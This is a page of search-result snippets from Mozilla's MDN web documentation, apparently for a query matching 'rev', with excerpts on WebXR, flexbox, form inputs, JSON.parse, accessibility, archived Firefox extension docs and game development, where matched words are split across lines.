review the scene inline within the context of a web page, with a button or other control to switch to immersive mode. since most users would prefer that you maintain the same viewer position and facing direction while performing this transition, you can use the xrframe method getviewerpose() to obtain the current xrviewerpose, switch the session, then use the saved viewer pose to restore the viewer'...
... the one you've been using, you can use a combination of getviewerpose() and some matrix computations to transition everything in your scene to be based at the new reference frame's origin. because getviewerpose() is only available in an xrframe, you will need to begin this process in your rendering callback, possibly using a worker to do the computations in order to reduce frame dropping. ...
...egin this process in your rendering callback, possibly using a worker to do the computations in order to reduce frame dropping. ...
...And 4 more matches
Web APIs
micscompressornode e ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic eckeygenparams eckeyimportparams ecdhkeyderiveparams ecdsaparams effecttiming element elementcssinlinestyle elementtraversal erro
revent event eventlistener eventsource eventtarget extendableevent extendablemessageevent f featurepolicy federatedcredential fetchevent file fileentrysync fileerror fileexception filelist filereader filereadersync filerequest filesystem filesystemdirectoryentry filesystemdirectoryreader filesystementry filesystementrysync filesystemfileentry filesystemflags filesystemsyn...
...aconfiguration mediadecodingconfiguration mediadeviceinfo mediadevices mediaelementaudiosourcenode mediaencodingconfiguration mediaerror mediaimage mediakeymessageevent mediakeysession mediakeystatusmap mediakeysystemaccess mediakeysystemconfiguration mediakeys medialist mediametadata mediapositionstate mediaquerylist mediaquerylistevent mediaquerylistlistener mediarecorder mediarecordererro
revent mediasession mediasessionactiondetails mediasettingsrange mediasource mediastream mediastreamaudiodestinationnode mediastreamaudiosourcenode mediastreamaudiosourceoptions mediastreamconstraints mediastreamevent mediastreamtrack mediastreamtrackaudiosourcenode mediastreamtrackaudiosourceoptions mediastreamtrackevent mediatrackconstraints mediatracksettings mediatracksupportedconstraints mer...
...rformanceeventtiming performanceframetiming performancelongtasktiming performancemark performancemeasure performancenavigation performancenavigationtiming performanceobserver performanceobserverentrylist performancepainttiming performanceresourcetiming performanceservertiming performancetiming periodicwave permissionstatus permissions photocapabilities plugin pluginarray point pointe
revent popstateevent positionoptions processinginstruction progressevent promiserejectionevent publickeycredential publickeycredentialcreationoptions publickeycredentialrequestoptions pushevent pushmanager pushmessagedata pushregistrationmanager pushsubscription r rtcansweroptions rtccertificate rtcconfiguration rtcdtmfsender rtcdtmftonechangeevent rtcdatachannel rtcdatachannelevent rt...
...And 4 more matches
Cognitive accessibility - Accessibility
3.1 states "make text content readable and understandable." for some users, it is difficult to infer the meaning of a word or phrase from context, especially when the word or phrase is used in an unusual way, or has been given a specialized meaning. for these users, the ability to read and understand may depend on the availability of specific definitions or the expanded forms of acronyms or abb
reviations. some users may experience great difficulty in recognizing written words yet they understand extremely complex and sophisticated documents when the text is read aloud, or when key processes and ideas are illustrated visually. declare the language of the page and any content not in that main language. the language of every page must be declared by using the lang attribute on the <h...
...ifficult to understand nonliteral word usage, such as idioms, colloquialisms, and specialized jargon. non-native language speakers may also struggle with these terms. if a word or phrase has a unique meaning, in the document provide a definition inline or linked, within a glossary, or to an online dictionary. if a word or phrase is used to mean more than one thing, define each use. ...
...tand nonliteral word usage, such as idioms, colloquialisms, and specialized jargon. non-native language speakers may also struggle with these terms. if a word or phrase has a unique meaning, in the document provide a definition inline or linked, within a glossary, or to an online dictionary. if a word or phrase is used to mean more than one thing, define each use. ...
...And 4 more matches
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } flexbox direction the flex-direction property specifies how flex items are placed in the flex container, by setting the direction of the flex container's main axis. this determines the direction in which flex items are laid out in. ...
...line-flex; display: -ms-inline-flexbox; display: inline-flex; } %inline-flex { @include inline-flex; } flexbox direction the flex-direction property specifies how flex items are placed in the flex container, by setting the direction of the flex container's main axis. this determines the direction in which flex items are laid out in. ...
...-direction property specifies how flex items are placed in the flex container, by setting the direction of the flex container's main axis. this determines the direction in which flex items are laid out in. ...
...And 4 more matches
<input type="date"> - HTML: Hypertext Markup Language
february), // this part of the code ensures that the highest day available ...
...daynum = 28; } // inject the right number of new <option> elements into the day <select> for(i = 1; i <= daynum; i++) { var option = document.createelement('option'); option.textcontent = i; dayselect.appendchild(option); } // if p
revious day has already been set, set dayselect's value // to that day, to avoid the day jumping back to 1 when you // change the year if(p
reviousday) { dayselect.value = p
reviousday; // if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. february), // this part of the code ensures that the highest day available // is selected, rather than showing a blank dayselect if(dayselect.value === "") { dayselect.value = p
reviousday - 1; } if(...
...// if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. ...
...And 4 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
february), // this part of the code ensures that the highest day available ...
...daynum = 28; } // inject the right number of new <option> elements into the day <select> for(i = 1; i <= daynum; i++) { var option = document.createelement('option'); option.textcontent = i; dayselect.appendchild(option); } // if p
revious day has already been set, set dayselect's value // to that day, to avoid the day jumping back to 1 when you // change the year if(p
reviousday) { dayselect.value = p
reviousday; // if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. february), // this part of the code ensures that the highest day available // is selected, rather than showing a blank dayselect if(dayselect.value === "") { dayselect.value = p
reviousday - 1; } if(...
...// if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g. ...
...And 4 more matches
HTML documentation index - HTML: Hypertext Markup Language
e. if the value of the element is greater than this, the element fails constraint validation. this value must be greater than or equal to the value of the min attribute. if the max attribute is present by is not specified or is invalid, no max value is applied. if the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will p
revent form submission. 41 html attribute: maxlength attribute, attributes, constraint validation the maxlength attribute defines the maximum number of characters (as utf-16 code units) the user can enter into an <input> or <textarea>. this must be an integer value 0 or higher. 42 html attribute: min attribute, attributes, constraint validation, min the min a...
... content, element, html, html text-level semantics, html:flow content, html:interactive content, html:palpable content, html:phrasing content, inline element, reference, web the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address. 56 <abbr>: the abb
reviation element acronym, definitions, element, html, html text-level semantics, html:flow content, html:palpable content, html:phrasing content, reference, web, abbr, abb
reviation, semantics the html abb
reviation element (<abbr>) represents an abb
reviation or acronym; the optional title attribute can provide an expansion or description for the abb
reviation. 57 <acronym> ele...
... 58 <address>: the contact address element address, author, contact, contact information, element, email, email address, html, html sections, html:flow content, html:palpable content, reference, web the html <address> element indicates that the enclosed html provides contact information for a person or people, or for an organization. ...
...And 4 more matches
Firefox user agent string reference - HTTP
d is common to almost every browser today. platform describes the native platform the browser is running on (e.g. windows, mac, linux or android), and whether or not it's a mobile phone. firefox os phones simply say "mobile"; the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. though fixed in firefox 69, p
revious 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the browser is based on gecko. on desktop, geckotrail is the fixed string "20100101" firefox/firefoxversion i...
... starting in version 6, users can opt into using a geckoview-based focus for android with a hidden preference: it uses a geckoview ua string to advertise gecko compatibility. focus version (rendering engine) ...
... starting in version 6, users can opt into using a geckoview-based focus for android with a hidden preference: it uses a geckoview ua string to advertise gecko compatibility. focus version (rendering engine) user agent string 1.0 (webview mobile) mozilla/5.0 (linux; a...
...And 4 more matches
Network Error Logging - HTTP
group": "nel", "max_age": 31556952, "endpoints": [ { "url": "https://example.com/csp-reports" } ] } error reports in these examples, the entire reporting api payload is shown. the top-level "body" key contains the network error report. ...
...s in these examples, the entire reporting api payload is shown. the top-level "body" key contains the network error report. ...
...eferrer": "https://example.com/p
revious-page", "sampling_fraction": 1, "server_ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_ip is available to include. ...
...And 4 more matches
Working with objects - JavaScript
an object is a collection of properties, and a property is an association between a name (or key) and a value. a property's value can be a function, in which case the property is known as a method. in addition to objects that are predefined in the browser, you can define your own objects. this chapter describes how to use objects, properties, functions, and methods, and how to create your own objects. objects overview objects in javascript, just as in many other programming languages, can be compared to objects in real life. the concept of objects in javascript can be understood with real life, tangible objects. ...
...listing accessible properties only can easily be done by removing duplicates in the array. creating new objects javascript has a number of predefined objects. in addition, you can create your own objects. you can creat...
...d); var car2 = new car('nissan', '300zx', 1992, ken); notice that instead of passing a literal string or integer value when creating the new objects, the above statements pass the objects rand and ken as the arguments for the owners. then if you want to find out the name of the owner of car2, you can access the following property: car2.owner.name note that you can always add a property to a p
reviously defined object. for example, the statement car1.color = 'black'; adds a property color to car1, and assigns it a value of "black." however, this does not affect any other objects. to add the new property to all objects of the same type, you have to add the property to the definition of the car object type. using the object.create method objects can also be created using the object.crea...
...And 4 more matches
JSON.parse() - JavaScript
the json.parse() method parses a json string, constructing the javascript value or object described by the string. an optional
reviver function can be provided to perform a transformation on the resulting object before it is returned. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax json.parse(text[,
reviver]) parameters text the string to parse as json. see the json object for a description of json syntax.
reviver optional if a function, this prescribes how the value originally produced by parsing is transformed, before being returned. return value the object, array, string, number, boolean, or nu...
... var j; function walk(holder, key) { // the walk method is used to recursively walk the resulting structure so // that modifications can be made. var k; var v; v...
... var j; function walk(holder, key) { // the walk method is used to recursively walk the resulting structure so // that modifications can be made. var k; var v; var value = holder[key]; if (value && typeof value === "ob...
...And 4 more matches
Tabbed browser - Archive of obsolete content
pen. open it now. if (!found) { var recentwindow = wm.getmostrecentwindow("navigator:browser"); if (recentwindow) { // use an existing browser window recentwindow.delayedopentab(url, null, null, null, null); } else { // no browser windows are open, so open a new one. window.open(url); } } } reusing by other criteria sometimes you want to reuse a p
reviously-opened tab regardless of which url/uri it displays. this assumes the tab is opened by your extension, not by some other browser component. we can do re-use an arbitrary tab by attaching a custom attribute to it when we first open it. later, when we want to re-use that tab, we iterate over all open tabs looking for one which has our custom attribute. if such a tab exists, we change its url/u...
...or example, it is a toolbar button or menu click handler), you can access the current window with the window pre-defined variable. however, if your code is executed from its own window (for example, a settings/options dialog), you can use nsiwindowmediator to get a browser's window. next, get the <tabbrowser/> element. you can get it with win.gbrowser, where win is the browser's window from the p
revious step. you can use simply gbrowser instead of window.gbrowser if running in the context of a browser.xul overlay. finally, use gbrowser.browsers.length to get the number of browsers and gbrowser.getbrowseratindex() to get a <browser/> element. for example: var num = gbrowser.browsers.length; for (var i = 0; i < num; i++) { var b = gbrowser.getbrowseratindex(i); try { dump(b.currentur...
... components.utils.import('resource://gre/modules/services.jsm'); services.obs.addobserver(httpobs, 'http-on-modify-request', false); //services.obs.removeobserver(httpobs, 'http-on-modify-request'); //uncomment this line, or run this line when you want to remove the observer var httpobs = { ...
...And 3 more matches
Creating a dynamic status bar extension - Archive of obsolete content
download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. ...
...the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its content with information fetched from the web every few minutes. specifically, this sample displays a stock quote in the status bar, and, when you mouse over it, displays a tooltip containing more detailed information about the stock. concepts covered in the p
revious sample won't be reiterated here; instead, refer to the downloadable sample code or to the p
revious sample for further details. download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. or, if you've already got the code from the creating a status bar extension sample, you can follow this tutorial to update that existing code with n...
...orial to update that existing code with new features. download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the front end metadata to describe our new extension. see install manifests for details. update the chrome manifest the chrome manifest needs only a minor update from the p
revious sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher". if you need to brush up, visit the chrome manifest section. write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay>...
...And 3 more matches
Developing New Mozilla Features - Archive of obsolete content
l, spend some time helping the existing mail developers. talk to the developers about fixing some of their bugs. fix some bugs. have some of your qa team get involved. once you’re familiar with an area, do the completely unexpected and write a piece of documentation. developers will be grateful, and you’ll be known as someone seriously interested in contributing. become familiar with our code
review processes. have someone on your team become mozilla-savvy enough to obtain cvs access. help the existing developers to understand that you are “for real” that you have a clue about mozilla development; that your team is going to ship a product. our developers get a lot of mail, and not all of it is helpful. we appreciate the attention and interest in mozilla, but the developers have to p...
...d their time. help them to realize you’re an informed developer who is interested and able to contribute. this will be much easier if you’ve been working on suggestion two. designate someone on your team to be involved with the mozilla.org cvs repository on a regular basis the ease of integrating your feature will increase if someone on your team is intimately involved with the source tree.
reviewing the tree only at the milestone releases is risky if you're doing significant development. something may have changed that will cause you extra work. and you'll miss the early discussion phase when you can add your perspective to the design work. if you absolutely don't have the resources to do this, then plan for extra integration time. work hard to have a developer involved in the core co...
...l still want to know if a developer is consistently not responding to contributors, but you’ll be able to deal with the occasional problems just by asking someone else. design in the open post your plans to the appropriate newsgroup. if there is no response, double-check to see if you have been successful with suggestion five. try hard to design your feature so that it can be implemented and
reviewed in manageable size patches if you can implement and submit core elements first and build on them in subsequent patches, so much the better. if you think your feature can only be implemented and
reviewed in one enormous chunk, ask for design help in the appropriate newsgroup and/or from the developers with whom you have established relationships. if it is not possible to submit your feature...
...And 3 more matches
jspage - Archive of obsolete content
ion(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","
reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash...
...ttempt:browser.engine.gecko})()){l=false; }}}}return $extend(this,{event:a,type:j,page:i,client:c,rightclick:e,wheel:h,relatedtarget:l,target:g,code:b,key:m,shift:a.shiftkey,control:a.ctrlkey,alt:a.altkey,meta:a.metakey}); }});event.keys=new hash({enter:13,up:38,down:40,left:37,right:39,esc:27,space:32,backspace:8,tab:9,"delete":46});event.implement({stop:function(){return this.stoppropagation().p
reventdefault(); },stoppropagation:function(){if(this.event.stoppropagation){this.event.stoppropagation();}else{this.event.cancelbubble=true;}return this;},p
reventdefault:function(){if(this.event.p
reventdefault){this.event.p
reventdefault(); }else{this.event.returnvalue=false;}return this;}});function class(b){if(b instanceof function){b={initialize:b};}var a=function(){object.reset(this);if(a._protot...
...text:function(m,l){return this.grab(this.getdocument().newtextnode(m),l); },grab:function(m,l){a[l||"bottom"](document.id(m,true),this);return this;},inject:function(m,l){a[l||"bottom"](this,document.id(m,true));return this;},replaces:function(l){l=document.id(l,true); l.parentnode.replacechild(this,l);return this;},wraps:function(m,l){m=document.id(m,true);return this.replaces(m).grab(m,l);},getp
revious:function(l,m){return j(this,"p
revioussibling",null,l,false,m); },getallp
revious:function(l,m){return j(this,"p
revioussibling",null,l,true,m);},getnext:function(l,m){return j(this,"nextsibling",null,l,false,m);},getallnext:function(l,m){return j(this,"nextsibling",null,l,true,m); },getfirst:function(l,m){return j(this,"nextsibling","firstchild",l,false,m);},getlast:function(l,m){return j(this,...
...And 3 more matches
New Skin Notes - Archive of obsolete content
please add any feedback to this page. thanks! feedback fix weird width bug on preferences page. --dria css classes for feature and subfeature boxes, including required graphics. -- dria when will these fixes be on the live site? --nickolay 10:38, 31 aug 2005 (pdt) existing fixes should be on test/docs/ now. --dria stuff that's been fixed note that while i've made these fixes, they haven't necessarily been checked in yet. ...
...fying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make items "appear as links" to many users, possibly add a text-decoration: underline as well. --callek is it possible to remove the blank space on category pages, like category:dom?by the way, it looks like this skin has the same problem as p
revious - the edit box, category list on category pages, and others are always below the end of the sidebar. the major problem it caused in cavendish skin - that they were out of the screen - is solved by making the sidebar smaller, which is not the right thing to do, imo (see my comment 1).--nickolay 02:11, 25 aug 2005 (pdt) yeah this is actually a problem with mw, rather than the skin -- they use ...
...e menu bar at the right, however, is too large in the new system, but is fine on the current (non-test) system. --mmondor 12:25, 26 aug 2005 (pdt) hmm, note that when logged-in, the theme is all fine like the old one, it's when a user doesn't login and reads the docs through the test site that the menu bar then is at the right and is slightly too large... ...
...And 3 more matches
Space Manager Detailed Design - Archive of obsolete content
// list of frames occupying the space }; bandrect(nscoord aleft, nscoord atop, nscoord aright, nscoord abottom, nsiframe*); bandrect(nscoord aleft, nscoord atop, nscoord aright, nscoord abottom, nsvoidarray*); ~bandrect(); // list operations bandrect* next() const {return (bandrect*)pr_next_link(this);} bandrect* p
rev() const {return (bandrect*)pr_p
rev_link(this);} void insertbefore(bandrect* abandrect) {pr_insert_before(abandrect, this);} void insertafter(bandrect* abandrect) {pr_insert_after(abandrect, this);} void remove() {pr_remove_link(this);} // split the band rect into two vertically, with this band rect becoming // the top part, and a new band rect being allocated a...
... frameinfo* getframeinfofor(nsiframe* aframe); frameinfo* createframeinfo(nsiframe* aframe, const nsrect& arect); void destroyframeinfo(frameinfo*); void clearframeinfo(); void clearbandrects(); bandrect* getnextband(const bandrect* abandrect) const; void divideband(bandrect* aband, nscoord abottom); prbool canjoinbands(bandrect* aband, bandrect* ap
revband); prbool joinbands(bandrect* aband, bandrect* ap
revband); void addrecttoband(bandrect* aband, bandrect* abandrect); void insertbandrect(bandrect* abandrect); nsresult getbandavailablespace(const bandrect* aband, nscoord ay, const nssize& amaxsize, nsban...
...for arena allocations mostly, and a frame that this space manager is rooted on. the coordinate space of this space manager is relative to the frame passed in to the constructor. nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); operators 'new' and 'delete' are overridden to support a recycler. space manager instances come and go pretty frequently, and this recycler p
revents excessive heap allocations and the performance penalties associated with it. the #define ns_space_manager_cache_size is used to control the number of space manager instances that can be present in the recycler, currently 4. if more than ns_space_manager_cache_size are allocated at a time,then standard allocation is used. void* operator new(size_t asize); void operator delete(void* aptr, size...
...And 3 more matches
Archived Mozilla and build documentation - Archive of obsolete content
ol available in most mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens. it reports javascript-related errors and warnings, css errors and arbitrary messages from chrome code. in firefox, the error console can be opened from the tools menu or by ctrl-shift-j. exception logging in javascript technical
review completed. existing content this is a list of existing mozilla.org documentation. it needs to be checked, prioritized, and migrated. extension frequently asked questions this is quick set of answers to the most common issues with extension development. they are currently written with mostly firefox in mind, but most if not all ...
... to be able to hack the mdc wiki software, you'll need a local webserver install, which can run mediawiki. help viewer help viewer: allows information to be shown to the user inside mozilla. helper apps (and a bit of save as) hidden prefs this page has been flagged by editors or users as needing technical
review. until it is fully
reviewed, it may contain inaccurate or incorrect information. how to write and land nanojit patches adobe and mozilla share a copy of nanojit. this means that landing nanojit patches is a bit complicated, but experience has taught us that this is much better than having separate versions of nanojit. http...
...built before the conception of w3c standards inherited many quirks. in this article, i will describe mozilla's quirks mode, which provides strong backwards html compatibility with internet explorer and other legacy browsers. monitoring downloads firefox 3 makes it easier than ever to monitor the status of downloads. although it was possible to do so in p
revious versions of firefox, it was p
reviously only possible for one observer to do so at a time. firefox 3 introduces new api that allows any number of listeners to observe downloads. mozilla application framework the mozilla application framework: for powerful, easy to develop cross-platform applications mozilla crypto faq in this document...
...And 3 more matches
Game monetization - Game development
ple to buy it. a totally new set of levels with new characters, weapons and story is a good material for dlc, but to have enough sales the game itself has to be popular, or else there won't be any players interested in spending their hard earned money on it. advertisements instead of actively selling the games you can also try to get yourself a passive income — showing adverts and relying on p
revious activities related to promoting your game may benefit, but your game has to be addictive, which isn't as easy as it sounds. you still need to plan it out, and at some point you'll need a bit of luck too. if your game goes viral and people start sharing it, you can get a lot of downloads and money out of adverts. there are many companies offering advert systems — you sign up and allow them ...
...er (and they are constantly showing up) you can sell your games on non-exclusive terms. remember that with this license the publisher can't redistribute it further — it's often called a site-locked deal as they buy the right to publish the game on their own given portal. the usual cost of a non-exclusive license is around 500 usd. ...
... option to get a passive, monthly
revenue via a subscription deal. instead of getting a one-time payment you can get a small amount of money per game, per month — it can be something around 20-50 usd per month, per game. it's normally up to you if you want to get all the money in a lump sum or get it per month. remember that it can be cancelled, so it's not an indefinitely working solution. ad
revenue you can implement advertisements in your game on your own and try to find the traffic to earn a bit, but you can also do a
revenue share deal with a publisher. they will take care of driving the traffic and will split the earnings — usually in a 70/30 or 50/50 deal, collected per month. ...
...And 3 more matches
Building up a basic demo with the PlayCanvas engine - Game development
e the same as the canvas size. again, add the following lines at the bottom of your script. app.setcanvasfillmode(pc.fillmode_fill_window); app.setcanvasresolution(pc.resolution_auto); camera now when the setup code is in place we need to think about implementing the standard scene components: camera, lights and objects. let's start with the camera — add these lines to your code, below the p
revious ones. var camera = new pc.entity(); camera.addcomponent("camera", { clearcolor: new pc.color(0.8, 0.8, 0.8) }); app.root.addchild(camera); camera.setposition(0, 0, 7); the code above will create a new entity. note: an entity is any object used in the scene — it can be an object like a box, cylinder or cone, but it can also be a camera, light or sound source. then it adds a camer...
...canvas provides a bunch of predefined primitives that you can use to create shapes instantly in a single line of code. there are cubes, spheres, cylinders and more complicated shapes available. drawing everything for given shape is taken care of by the engine, so we can focus on the high level coding. let's start by defining the geometry for a cube shape — add the following new code below your p
revious additions: var box = new pc.entity(); box.addcomponent("model", { type: "box" }); app.root.addchild(box); box.rotate(10, 15, 0); it will create an entity with the box model component and add it to the root of the application, our scene. we also rotate the box a bit to show that it's actually a 3d cube and not a square. the cube is visible, but it is completely. to make it look better we n...
...uare. the cube is visible, but it is completely. to make it look better we need to shine some light onto it. lights the basic light types in playcanvas are directional and ambient. the first type is a directional light placed somewhere on the scene while the scond one reflects the light from the first type, so it looks more natural; this can be set globally. again, add the new code below your p
revious additions. var light = new pc.entity(); light.addcomponent('light'); app.root.addchild(light); light.rotate(45, 0, 0); it will create a light entity component and add it to the scene. we can rotate the light on the x axis to make it shine on more than one side of the cube. it's time to add the ambient light: app.scene.ambientlight = new pc.color(0.2, 0.2, 0.2); the code above assign a d...
...And 3 more matches
Bounce off the walls - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson3.html. it is nice to see our ball moving, but it quickly disappears from the screen, limiting the fun we can have with it! to overcome that we will implement some very simple collision detection (which will be explained later in more detail) to make the ball bounce off the four edges of the canvas. simple collision detection to detect the collision we will check whether the ball is touching (colliding with) the wall, and if so, we will change the direction of its movement accordingly. ...
...xisting variable declarations: var ballradius = 10; now update the line that draws the ball inside the drawball() function to this: ctx.arc(x, y, ballradius, 0, math.pi*2); bouncing off the top and bottom there are four walls to bounce the ball off — let's focus on the top one first. ...
...if the ball was moving upwards with a speed of 2 pixels per frame, now it will be moving "up" with a speed of -2 pixels, which actually equals to moving down at a speed of 2 pixels per frame. ...
...And 3 more matches
WAI-ARIA basics - Learn web development
objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. ...
...ifficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessiblity. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the p
revious articles in the course. objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. what is wai-aria? let's start by looking at what wai-aria is, and what it can do for us. a whole new set of problems as web apps started to get more complex and dynamic, a new set of accessibility fea...
...re at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. enter wai-aria wai-aria (web accessibility initiative - accessible rich internet applications) is a specification written by the w3c, defining a set of additional html attributes that can be applied to elements to provide additional semantics and improve accessibility whe
rever it is lacking. there are three main features defined in the spec: roles — these define what an element is or does. many of these are so-called landmark roles, which largely duplicate the semantic value of html5 structural elements e.g. role="navigation" (<nav>) or role="complementary" (<aside>), but there are also others that describe different pages structures, such as role="banner", role...
...And 3 more matches
Flexbox - Learn web development
items flex to fill additional space and shrink to fit into smaller spaces. this article explains all the fundamentals. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to use the flexbox layout system to create web layouts. why flexbox? for a long time, the only reliable cross browser-compatible tools available for creating css layouts were things like floats and positioning. these are fine and they work, but in some ways they are also rather limiting and frustrating. ...
...tion your browser's default language works in (left to right, in the case of an english browser). try adding the following declaration to your <section> rule: flex-direction: column; you'll see that this puts the items back in a column layout, much like they were before we added any css. before you move on, delete this declaration from your example. note: you can also lay out flex items in a
reverse direction using the row-
reverse and column-
reverse values. experiment with these values too! wrapping one issue that arises when you have a fixed amount of width or height in your layout is that eventually your flexbox children will overflow their container, breaking the layout. have a look at our flexbox-wrap0.html example, and try viewing it live (take a local copy of this file now if yo...
...ed down to the next line. the flex: 200px declaration set on the articles means that each will be at least 200px wide; we'll discuss this property in more detail later on. you might also notice that the last few children on the last row are each made wider so that the entire row is still filled. but there's more we can do here. first of all, try changing your flex-direction property value to row-
reverse — now you'll see that you still have your multiple row layout, but it starts from the opposite corner of the browser window and flows in
reverse. flex-flow shorthand at this point it is worth noting that a shorthand exists for flex-direction and flex-wrap — flex-flow. so for example, you can replace flex-direction: row; flex-wrap: wrap; with flex-flow: row wrap; flexible sizing of f...
...And 3 more matches
Legacy layout methods - Learn web development
you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older project. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind the grid layout systems used prior to css grid layout being available in browsers. ...
...content width because we have set box-sizing to border-box on all elements on the site (see changing the box model completely for more explanation). * { box-sizing: border-box; } body { width: 980px; margin: 0 auto; } .wrapper { padding-right: 20px; } now use the row container that is wrapped around each row of the grid to clear one row from another. add the following rule below your p
revious one: .row { clear: both; } applying this clearing means that we don’t need to completely fill each row with elements making the full twelve columns. the rows will remain separated, and not interfere with each other. the gutters between the columns are 20 pixels wide. we create these gutters as a margin on the left side of each column — including the first column, to balance out the 2...
...decimal point 2 places giving us a percentage of 6.25%. so, in our css we can replace the 60 pixel column width with 6.25%. we need to do the same with our gutter width: 20 / 960 = 0.02083333333 so we need to replace the 20 pixel margin-left on our .col rule and the 20 pixel padding-right on .wrapper with 2.08333333%. updating our grid to get started in this section, make a new copy of your p
revious example page, or make a local copy of our simple-grid-finished.html code to use as a starting point. update the second css rule (with the .wrapper selector) as follows: body { width: 90%; max-width: 980px; margin: 0 auto; } .wrapper { padding-right: 2.08333333%; } not only have we given it a percentage width, we have also added a max-width property in order to stop the layout beco...
...And 3 more matches
Advanced form styling - Learn web development
p
revious overview: forms next in this article, we will see what can be done with css to style the types of form control that are more difficult to style — the "bad" and "ugly" categories. as we saw in the p
revious article, text fields and buttons are perfectly easy to style; now we will dig into styling the bits that are more problematic. prerequisites: basic computer literacy, and a basic understanding of html and css. objective: to understand what parts of forms are hard to style, and why; to learn what can be done to customize them. ...
...these include: elements involved in creating dropdown widgets, including <select>, <option>, <optgroup> and <datalist>. ...
...reating dropdown widgets, including <select>, <option>, <optgroup> and <datalist>. <input type="color"> date-related controls such as <input type="datetime-local"> <input type="range"> <input type="file"> <progress> and <meter> let's first talk about the appearance property, which is pretty useful for making all of the above more stylable. appearance: controlling os-level styling in the p
revious article we said that historically, styling of web form controls was largely taken from the underlying operating system, which is part of the problem with customizing the look of these controls. the appearance property was created as a way to control what os- or system-level styling was applied to web form controls. unfortunately, the behavior of this property's original implementations was v...
...And 3 more matches
Creating hyperlinks - Learn web development
this article shows the syntax required to make a link, and discusses link best practices. prerequisites: basic html familiarity, as covered in getting started with html. html text formatting, as covered in html text fundamentals. objective: to learn how to implement a hyperlink effectively, and link multiple files together. what is a hyperlink? hyperlinks are one of the most exciting innovations the web has to offer. they've been a feature of the web since the beginning, and are what makes the web a web. ...
...be aware of on the web site. <p>i'm creating a link to <a href="https://www.mozilla.org/" title="the best place to find more information about mozilla's mission and how to contribute">the mozilla homepage</a>. </p> this gives us the following result and hovering over the link displays the title as a tooltip. i'm creating a link to the mozilla homepage. note: a link title is only
revealed on mouse hover, which means that people relying on keyboard controls or touchscreens to navigate web pages will have difficulty accessing title information. if a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for example by putting it in the regular text. active learning: creating your own exampl...
...w.example.com/projects/index.html (or even just http://www.example.com/projects/, as most web servers just look for a landing page such as index.html to load if it isn't specified in the url.) an absolute url will always point to the same location, no matter where it's used. relative url: points to a location that is relative to the file you are linking from, more like what we looked at in the p
revious section. for example, if we wanted to link from our example file at http://www.example.com/projects/index.html to a pdf file in the same directory, the url would just be the filename — project-brief.pdf — no extra information needed. if the pdf was available in a subdirectory inside projects called pdfs, the relative link would be pdfs/project-brief.pdf (the equivalent absolute url would ...
...And 3 more matches
Debugging HTML - Learn web development
prerequisites: html familiarity, as covered in, for example, getting started with html, html text fundamentals, and creating hyperlinks. objective: learn the basics of using debugging tools to find problems in html. debugging isn't scary when writing code of some kind, everything is usually fine, until that dreaded moment when an error occurs — you've done something wrong, so your code doesn't work — either not at all, or not quite how you wanted it to. ...
